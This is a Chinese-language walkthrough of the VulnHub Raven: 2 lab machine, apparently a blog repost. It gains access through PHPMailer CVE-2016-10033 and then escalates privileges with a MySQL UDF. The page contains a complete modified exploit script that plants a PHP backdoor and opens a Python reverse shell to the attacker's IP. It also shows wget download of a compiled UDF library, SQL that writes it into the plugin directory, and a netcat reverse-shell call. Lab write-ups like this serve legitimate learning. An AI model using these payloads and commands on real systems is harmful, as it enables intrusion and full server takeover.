VulnHub———Raven: 2之mysql数据库udf提权
前置知识
1.PHPMailer 是一个功能强大的 PHP 邮件发送库,它通过简洁的代码接口取代了 PHP 自带 的 mail() 函数,能轻松支持 SMTP 认证、HTML 邮件、附件等复杂功能
2.MySQL默认没有执行系统命令的功能,UDF可以给MySQL添加这个能力。
3.secure_file_priv 是MySQL的一个安全选项,用于限制文件导入导出操作的目录范围
为空则说明可以进行任何的读写

环境搭建
https://www.vulnhub.com/entry/raven-2,269/
信息打点
kali扫描存活网段ip,排除kali本身得到靶场ip192.168.72.136

扫描ip全端口或者快速扫描常用端口
nmap -p- 192.168.72.136
这里考虑从web入手拿shell

目录扫描
dirb http://192.168.72.136
这里扫出来结果是有很多的实际上需要我们去批量打开查看,这里省去这个步骤直接来到目标目录(存在配置泄露)

在redeme.md查看相关版本信息
这个版本是报过一堆漏洞的。可以在网上找exp,也可以kali中msf有集成漏洞库去找漏洞利用代码.

复制一份漏洞利用代码>>>p.py
cp /usr/share/exploitdb/exploits/php/webapps/40974.py p.py
修改靶机地址和反弹shell后
Target: http://192.168.72.136/contact.php(邮件处理脚本 contact.php)入口处
Backdoor: /1.php
Reverse shell to: 192.168.72.128:4444
#!/usr/bin/env python3
"""
# Exploit Title: PHPMailer Exploit v1.0 (Modified for Target)
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Modified by: User
# Version: PHPMailer < 5.2.18
# Tested on: Kali Linux
# CVE : CVE 2016-10033
"""
from requests_toolbelt import MultipartEncoder
import requests
import os
import sys
os.system('clear')
print("\n")
print(" PHPMailer Exploit CVE 2016-10033 - Modified for Target\n")
# ==================== 配置区(按需修改)====================
target = 'http://192.168.72.136/contact.php' # 改为 contact.php
backdoor = '/1.php' # 后门文件名
LHOST = '192.168.72.128' # 你的Kali IP
LPORT = 4444 # 监听端口
# 写入路径(如果失败,尝试下面其他路径)
# 选项1:当前目录(推荐)
email_payload = '"attacker\\" -OQueueDirectory=/tmp -X./1.php server\" @protonmail.com'
# 选项2:绝对路径(如果选项1不行,取消下面这行注释,注释掉上面那行)
# email_payload = '"attacker\\" -OQueueDirectory=/tmp -X/var/www/html/1.php server\" @protonmail.com'
# ===========================================================
# 构造payload(不要修改)
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'{}\\\',{}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'.format(LHOST, LPORT)
fields = {
'action': 'submit',
'name': payload,
'email': email_payload,
'message': 'Pwned'
}
m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
headers = {'User-Agent': 'curl/7.47.0', 'Content-Type': m.content_type}
proxies = {}
print(f'[+] Target: {target}')
print(f'[+] Backdoor: {backdoor}')
print(f'[+] Reverse shell to: {LHOST}:{LPORT}')
print('[+] Sending evil shell to target...')
try:
r = requests.post(target, data=m.to_string(), headers=headers, proxies=proxies)
print(f'[+] POST Response Status: {r.status_code}')
except Exception as e:
print(f'[-] POST request failed: {e}')
sys.exit(1)
print('[+] Spawning evil shell..... BOOOM :D')
try:
r = requests.get('http://192.168.72.136' + backdoor, headers=headers, proxies=proxies)
if r.status_code == 200:
print(f'[+] Exploited! Check your NC listener: {LHOST}:{LPORT}')
print(f'[+] Backdoor accessible at: http://192.168.72.136{backdoor}')
else:
print(f'[-] Failed with status code: {r.status_code}')
print('[-] Try changing the email_payload path option')
except Exception as e:
print(f'[-] GET request failed: {e}')
新开一个终端并且启动监听>>反弹shell成功

敏感信息泄露
查看当前网站下wordpress

查看当前文件夹内容
ls -al wordpress/

cat wordpress/wp-config.php
查看配置文件
得到了用户名root的账号密码

符合mysql账号密码的提权条件
这里有两个选择
1.可以上在shell中写入后门进行上传udf动态库
2.可以搭建一个web服务(实战中自己购买一个云服务器就可以)来实现本地编译本地下载
编译UDF.so
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc(编译成二进制文件)
新开一个kali终端开启http服务

回到web权限目标处进行访问下载
python -c 'import pty; pty.spawn("/bin/bash")'(交互式终端)
cd tmp
wget http://192.168.72.128:8080/udf.so

连接mysql相关语句
mysql -uroot -pR@v3nSecurity
select version(); #查看mysql版本
select @@basedir; #确认mysql安装位置
show variables like '%basedir%'; #确认mysql安装位置
show variables like '%secure%'; #查看可导出文件位置(查看是否具有读写权限)
show variables like '%plugin%'; #查找插件位置
show variables like '%compile%'; #查看系统版本
use mysql;
权限提升
-- 创建表(表名改为 ab)
create table ab(line blob);
-- 插入UDF二进制文件
insert into ab values(load_file('/tmp/udf.so'));
-- 导出到MySQL插件目录
select * from ab into dumpfile '/usr/lib/mysql/plugin/udf.so';
-- 创建do_system函数
create function do_system returns integer soname 'udf.so';
-- 反弹shell(修改IP为你的Kali IP)
select do_system('nc 192.168.72.128 4444 -e /bin/bash');

收到反弹

权限验证

拿到flag

总结
1.拿到了web权限>>>>>存在mysql数据库配置泄露
2.泄露root且满足secure_file_priv为空>>>>>满足mysql提权
3.MySQL默认没有执行系统命令的功能,UDF可以给MySQL添加这个能力
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)